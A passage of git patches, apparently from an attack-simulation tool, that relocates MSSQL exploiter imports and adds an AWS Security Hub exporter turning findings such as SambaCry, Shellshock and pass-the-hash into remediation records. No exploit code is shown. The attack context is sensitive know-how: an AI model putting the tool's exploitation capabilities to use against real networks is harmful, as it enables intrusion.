Date: Mon, 22 Oct 2018 16:34:23 +0300 Subject: [PATCH 010/201] cleared old files --- monkey/infection_monkey/exploit/__init__.py | 2 +- .../infection_monkey}/exploit/mssqlexec.py | 0 .../infection_monkey}/exploit/mssqlexec_utils.py | 0 3 files changed, 1 insertion(+), 1 deletion(-) rename {infection_monkey => monkey/infection_monkey}/exploit/mssqlexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/mssqlexec_utils.py (100%) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index bad6780eb..9ea2bcc75 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -45,4 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter -from mssqlexec import MSSQLExploiter \ No newline at end of file +from infection_monkey.exploit.mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py similarity index 100% rename from infection_monkey/exploit/mssqlexec.py rename to monkey/infection_monkey/exploit/mssqlexec.py diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py similarity index 100% rename from infection_monkey/exploit/mssqlexec_utils.py rename to monkey/infection_monkey/exploit/mssqlexec_utils.py From 3e90b6d49585a22a1f919270d9236a6146b64efa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 22 Oct 2018 17:09:57 +0300 Subject: [PATCH 011/201] fixed imports --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 590741428..f527c1e73 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -3,8 +3,7 @@ import logging import pymssql -import mssqlexec_utils -from exploit import HostExploiter +from exploit import HostExploiter, mssqlexec_utils __author__ = 'Maor Rayzin' From f547b23ef84f4c24577d8f28b0b132d993ad6c0a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 23 Oct 2018 11:50:24 +0300 Subject: [PATCH 012/201] imports fix --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/mssqlexec_utils.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f527c1e73..5c3c92600 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -3,7 +3,7 @@ import logging import pymssql -from exploit import HostExploiter, mssqlexec_utils +from infection_monkey.exploit import HostExploiter, mssqlexec_utils __author__ = 'Maor Rayzin' diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py index 2089047bb..ab8b88e60 100644 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py @@ -4,7 +4,7 @@ import logging import pymssql -from exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer From 7179d840a76e8042f51320b543528ad3e3d994c2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 19 Nov 2018 15:40:16 +0200 Subject: [PATCH 013/201] adding the exporter father class and aws implement --- monkey/monkey_island/cc/resources/aws_exporter.py | 9 +++++++++ monkey/monkey_island/cc/resources/exporter.py | 9 +++++++++ 2 files changed, 18 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/aws_exporter.py create mode 100644 monkey/monkey_island/cc/resources/exporter.py diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py new file mode 100644 index 000000000..cca47d968 --- /dev/null +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -0,0 +1,9 @@ +from exporter import Exporter + +class AWSExporter(Exporter): + + def __init__(self): + Exporter.__init__(self) + + def handle_report(self, report_json): + pass \ No newline at end of file diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py new file mode 100644 index 000000000..98f3e7662 --- /dev/null +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -0,0 +1,9 @@ + + +class Exporter: + + def __init__(self): + pass + + def handle_report(self, report_json): + raise NotImplementedError From 271c024574b83fc45418329b85ef03faef629b0c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 25 Nov 2018 12:39:47 +0200 Subject: [PATCH 014/201] * Added env' config * Added exporters and aws exporter * changed report generation to be automatic on monkey death with support of on-demand report generation and mongo storage --- .../cc/environment/environment.py | 2 + .../cc/resources/aws_exporter.py | 294 +++++++++++++++++- monkey/monkey_island/cc/resources/exporter.py | 4 +- monkey/monkey_island/cc/resources/root.py | 2 + monkey/monkey_island/cc/services/node.py | 4 + monkey/monkey_island/cc/services/report.py | 62 +++- monkey/monkey_island/requirements.txt | 1 + 7 files changed, 345 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 9e89208ef..70fc025c3 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -5,6 +5,8 @@ import aws logger = logging.getLogger(__name__) +AWS = 'aws' +STANDARD = 'standard' ENV_DICT = { 'standard': standard.StandardEnvironment, diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index cca47d968..363114948 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -1,9 +1,293 @@ -from exporter import Exporter +import logging +import uuid +from datetime import datetime +import boto3 + +from cc.resources.exporter import Exporter + +logger = logging.getLogger(__name__) + class AWSExporter(Exporter): - def __init__(self): - Exporter.__init__(self) + @staticmethod + def handle_report(report_json): - def handle_report(self, report_json): - pass \ No newline at end of file + findings_list = [] + issues_list = report_json['recommendations']['issues'] + for machine in issues_list: + for issue in issues_list[machine]: + findings_list.append(AWSExporter._prepare_finding(issue)) + + if not AWSExporter._send_findings(findings_list): + logger.error('Exporting findings to aws failed') + return False + + return True + + @staticmethod + def merge_two_dicts(x, y): + z = x.copy() # start with x's keys and values + z.update(y) # modifies z with y's keys and values & returns None + return z + + @staticmethod + def _prepare_finding(issue): + findings_dict = { + 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue, + 'ssh': AWSExporter._handle_ssh_issue, + 'shellshock': AWSExporter._handle_shellshock_issue, + 'tunnel': AWSExporter._handle_tunnel_issue, + 'elastic': AWSExporter._handle_elastic_issue, + 'smb_password': AWSExporter._handle_smb_password_issue, + 'smb_pth': AWSExporter._handle_smb_pth_issue, + 'sambacry': AWSExporter._handle_sambacry_issue, + 'shared_passwords': AWSExporter._handle_shared_passwords_issue, + } + + finding = { + "SchemaVersion": "2018-10-08", + "Id": uuid.uuid4().hex, + "ProductArn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty", + "GeneratorId": issue['type'], + "AwsAccountId": "324264561773", + "Types": [ + "Software and Configuration Checks/Vulnerabilities/CVE" + ], + "CreatedAt": datetime.now().isoformat() + 'Z', + "UpdatedAt": datetime.now().isoformat() + 'Z', + } + return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) + + @staticmethod + def _send_findings(findings_list): + + securityhub = boto3.client('securityhub') + import_response = securityhub.batch_import_findings(Findings=findings_list) + print import_response + if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + return True + else: + return False + + @staticmethod + def _handle_tunnel_issue(issue): + finding =\ + { + "Severity": { + "Product": 5, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['dest'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Weak segmentation - Machines were able to communicate over unused ports." + finding["Description"] = "Use micro-segmentation policies to disable communication other than the required." + finding["Remediation"] = { + "Recommendation": { + "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']) + } + } + return finding + + @staticmethod + def _handle_sambacry_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": str(issue['ip_address']) + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Samba servers are vulnerable to 'SambaCry'" + finding["Description"] = "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up."\ + .format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_smb_pth_issue(issue): + finding = \ + { + "Severity": { + "Product": 5, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_ssh_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_elastic_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Elasticsearch servers are vulnerable to CVE-2015-1427" + finding["Description"] = "Update your Elastic Search server to version 1.4.3 and up." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(issue['machine'], issue['ip_address']) + } + } + return finding + + @staticmethod + def _handle_island_cross_segment_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['networks'][0][:-2] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Weak segmentation - Machines from different segments are able to communicate." + finding["Description"] = "egment your network and make sure there is no communication between machines from different segments." + finding["Remediation"] = { + "Recommendation": { + "Text": "The network can probably be segmented. A monkey instance on \ + {0} in the networks {1} \ + could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], + issue['networks'], + issue['server_networks']) + } + } + return finding + + @staticmethod + def _handle_shared_passwords_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": '10.0.0.1' + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Multiple users have the same password" + finding["Description"] = "Some users are sharing passwords, this should be fixed by changing passwords." + finding["Remediation"] = { + "Recommendation": { + "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) + } + } + return finding + + @staticmethod + def _handle_shellshock_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are vulnerable to 'Shellshock'" + finding["Description"] = "Update your Bash to a ShellShock-patched version." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(issue['machine'], issue['ip_address'], issue['port'], issue['paths']) + } + } + return finding + + @staticmethod + def _handle_smb_password_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py index 98f3e7662..1cf0c1b10 100644 --- a/monkey/monkey_island/cc/resources/exporter.py +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -1,9 +1,9 @@ - class Exporter: def __init__(self): pass - def handle_report(self, report_json): + @staticmethod + def handle_report(report_json): raise NotImplementedError diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 1d9141589..10e8f5170 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -65,5 +65,7 @@ class Root(flask_restful.Resource): if not infection_done: report_done = False else: + if is_any_exists: + ReportService.get_report() report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 072917974..1f9b68ebe 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -294,6 +294,10 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() + @staticmethod + def get_latest_modified_monkey(): + return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1) + @staticmethod def add_credentials_to_monkey(monkey_id, creds): mongo.db.monkey.update( diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index d8f9b9b96..b9fdf89e7 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,6 +8,8 @@ from enum import Enum from six import text_type from cc.database import mongo +from cc.environment.environment import load_env_from_file, AWS +from cc.resources.aws_exporter import AWSExporter from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService @@ -123,9 +125,9 @@ class ReportService: 'label': node['label'], 'ip_addresses': node['ip_addresses'], 'accessible_from_nodes': - (x['hostname'] for x in + list((x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) - for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), + for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), 'services': node['services'] }) @@ -659,26 +661,19 @@ class ReportService: @staticmethod def is_report_generated(): - generated_report = mongo.db.report.find_one({'name': 'generated_report'}) + generated_report = mongo.db.report.find_one({}) if generated_report is None: return False - return generated_report['value'] + return True @staticmethod - def set_report_generated(): - mongo.db.report.update( - {'name': 'generated_report'}, - {'$set': {'value': True}}, - upsert=True) - logger.info("Report marked as generated.") - - @staticmethod - def get_report(): + def generate_report(): domain_issues = ReportService.get_domain_issues() issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() + monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] report = \ { @@ -710,17 +705,50 @@ class ReportService: { 'issues': issues, 'domain_issues': domain_issues + }, + 'meta': + { + 'latest_monkey_modifytime': monkey_latest_modify_time } } - - finished_run = NodeService.is_monkey_finished_running() - if finished_run: - ReportService.set_report_generated() + ReportService.export_to_exporters(report) + mongo.db.report.drop() + mongo.db.report.insert_one(report) return report + @staticmethod + def is_latest_report_exists(): + latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) + + if latest_report_doc: + report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] + latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + return report_latest_modifytime == latest_monkey_modifytime + + return False + + @staticmethod + def get_report(): + if ReportService.is_latest_report_exists(): + return mongo.db.report.find_one() + return ReportService.generate_report() + @staticmethod def did_exploit_type_succeed(exploit_type): return mongo.db.edge.count( {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 + + @staticmethod + def get_active_exporters(): + # This function should be in another module in charge of building a list of active exporters + exporters_list = [] + if load_env_from_file() == AWS: + exporters_list.append(AWSExporter) + return exporters_list + + @staticmethod + def export_to_exporters(report): + for exporter in ReportService.get_active_exporters(): + exporter.handle_report(report) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 29c364c9f..f094df947 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -14,3 +14,4 @@ netifaces ipaddress enum34 PyCrypto +boto3 \ No newline at end of file From d21558e81a978f8e00d37873039967ebc36a6948 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 25 Nov 2018 14:17:20 +0200 Subject: [PATCH 015/201] * encrypted config --- monkey/monkey_island/cc/services/config.py | 37 ++++++++++++++++++- .../ui/src/components/pages/ConfigurePage.js | 2 +- 2 files changed, 36 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 64b359f61..33223a6e7 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -862,7 +862,37 @@ SCHEMA = { } } } - } + }, + 'island_configuration': { + 'title': 'Island Configuration', + 'type': 'object', + 'properties': + { + 'aws_config': + { + 'title': 'AWS Configuration', + 'type': 'object', + 'properties': + { + 'iam_role_id': + { + 'title': 'IAM role ID', + 'type': 'string' + }, + 'aws_access_key': + { + 'title': 'AWS access key ID', + 'type': 'string' + }, + 'aws_secret_access_key': + { + 'title': 'AWS Secret Access Key', + 'type': 'string' + } + } + } + } + } }, "options": { "collapsed": True @@ -874,7 +904,10 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'] + ['internal', 'exploits', 'exploit_ssh_keys'], + ['island_configuration', 'aws_config', 'iam_role_id'], + ['island_configuration', 'aws_config', 'aws_access_key'], + ['island_configuration', 'aws_config', 'aws_secret_access_key'], ] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a97447df0..7e08170e2 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,7 +10,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'monkey_island']; // set schema from server this.state = { From 2dfbc1645082feff66ea56d76fab6bcfd536b27b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 11:48:43 +0200 Subject: [PATCH 016/201] * Added aws creds keys to configuration * Added boto session creation using credentials * Added a flag in the get_config function to separate island configuration values from monkey ones. * --- .../cc/resources/aws_exporter.py | 21 ++++++- monkey/monkey_island/cc/services/config.py | 63 +++++++++---------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 3 files changed, 48 insertions(+), 38 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 363114948..f8501c30c 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -4,9 +4,13 @@ from datetime import datetime import boto3 from cc.resources.exporter import Exporter +from cc.services.config import ConfigService logger = logging.getLogger(__name__) +AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_secret_access_key']] + class AWSExporter(Exporter): @@ -19,12 +23,21 @@ class AWSExporter(Exporter): for issue in issues_list[machine]: findings_list.append(AWSExporter._prepare_finding(issue)) - if not AWSExporter._send_findings(findings_list): + if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): logger.error('Exporting findings to aws failed') return False return True + @staticmethod + def _get_aws_keys(): + creds_dict = {} + for key in AWS_CRED_CONFIG_KEYS: + creds_dict[key[2]] = ConfigService.get_config_value(key) + + return creds_dict + + @staticmethod def merge_two_dicts(x, y): z = x.copy() # start with x's keys and values @@ -60,9 +73,11 @@ class AWSExporter(Exporter): return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) @staticmethod - def _send_findings(findings_list): + def _send_findings(findings_list, creds_dict): - securityhub = boto3.client('securityhub') + securityhub = boto3.client('securityhub', + aws_access_key_id=creds_dict.get('aws_access_key_id', ''), + aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) import_response = securityhub.batch_import_findings(Findings=findings_list) print import_response if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 33223a6e7..b5ef28f65 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -639,6 +639,28 @@ SCHEMA = { "description": "The current command server the monkey is communicating with" } } + }, + 'aws_config': { + 'title': 'AWS Configuration', + 'type': 'object', + 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', + 'properties': { + 'iam_role_id': { + 'title': 'IAM role ID', + 'type': 'string', + 'description': '' + }, + 'aws_access_key_id': { + 'title': 'AWS access key ID', + 'type': 'string', + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.' + }, + 'aws_secret_access_key': { + 'title': 'AWS secret access key', + 'type': 'string', + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.' + } + } } } }, @@ -863,36 +885,6 @@ SCHEMA = { } } }, - 'island_configuration': { - 'title': 'Island Configuration', - 'type': 'object', - 'properties': - { - 'aws_config': - { - 'title': 'AWS Configuration', - 'type': 'object', - 'properties': - { - 'iam_role_id': - { - 'title': 'IAM role ID', - 'type': 'string' - }, - 'aws_access_key': - { - 'title': 'AWS access key ID', - 'type': 'string' - }, - 'aws_secret_access_key': - { - 'title': 'AWS Secret Access Key', - 'type': 'string' - } - } - } - } - } }, "options": { "collapsed": True @@ -905,9 +897,9 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], ['internal', 'exploits', 'exploit_ssh_keys'], - ['island_configuration', 'aws_config', 'iam_role_id'], - ['island_configuration', 'aws_config', 'aws_access_key'], - ['island_configuration', 'aws_config', 'aws_secret_access_key'], + # ['cnc', 'aws_config', 'iam_role_id'], + # ['cnc', 'aws_config', 'aws_access_key_id'], + # ['cnc', 'aws_config', 'aws_secret_access_key'], ] @@ -918,11 +910,12 @@ class ConfigService: pass @staticmethod - def get_config(is_initial_config=False, should_decrypt=True): + def get_config(is_initial_config=False, should_decrypt=True, is_island=False): """ Gets the entire global config. :param is_initial_config: If True, the initial config will be returned instead of the current config. :param should_decrypt: If True, all config values which are set as encrypted will be decrypted. + :param is_island: If True, will include island specific configuration parameters. :return: The entire global config. """ config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {} @@ -930,6 +923,8 @@ class ConfigService: config.pop(field, None) if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) + if not is_island: + config['cnc'].pop('aws_config', None) return config @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 7e08170e2..a97447df0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,7 +10,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'monkey_island']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; // set schema from server this.state = { From 30a6d7542fc26e1f7eda497c5803b2f07142ed78 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 12:12:24 +0200 Subject: [PATCH 017/201] * deleted a line --- monkey/monkey_island/cc/resources/aws_exporter.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index f8501c30c..6295f28f3 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -37,7 +37,6 @@ class AWSExporter(Exporter): return creds_dict - @staticmethod def merge_two_dicts(x, y): z = x.copy() # start with x's keys and values From a79c60e9bc2344c8cf4034abca733f2d25af98eb Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 12:59:06 +0200 Subject: [PATCH 018/201] * added instance ID to each issue in an aws machine * changed findings resource to ec2 instance id instead of IP --- .../cc/resources/aws_exporter.py | 36 +++++++++---------- .../monkey_island/cc/resources/telemetry.py | 2 ++ monkey/monkey_island/cc/services/report.py | 7 ++++ 3 files changed, 27 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 6295f28f3..3f138e688 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -93,8 +93,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['dest'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -118,8 +118,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": str(issue['ip_address']) + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -143,8 +143,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -167,8 +167,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -191,8 +191,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -215,8 +215,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['networks'][0][:-2] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -243,8 +243,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": '10.0.0.1' + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -267,8 +267,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -291,8 +291,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 0db3b0eb4..6fc8f06f8 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -191,6 +191,8 @@ class Telemetry(flask_restful.Resource): if 'wmi' in telemetry_json['data']: wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() + if 'aws' in telemetry_json['data']: + mongo.db.monkey.insert({'aws_instance_id': 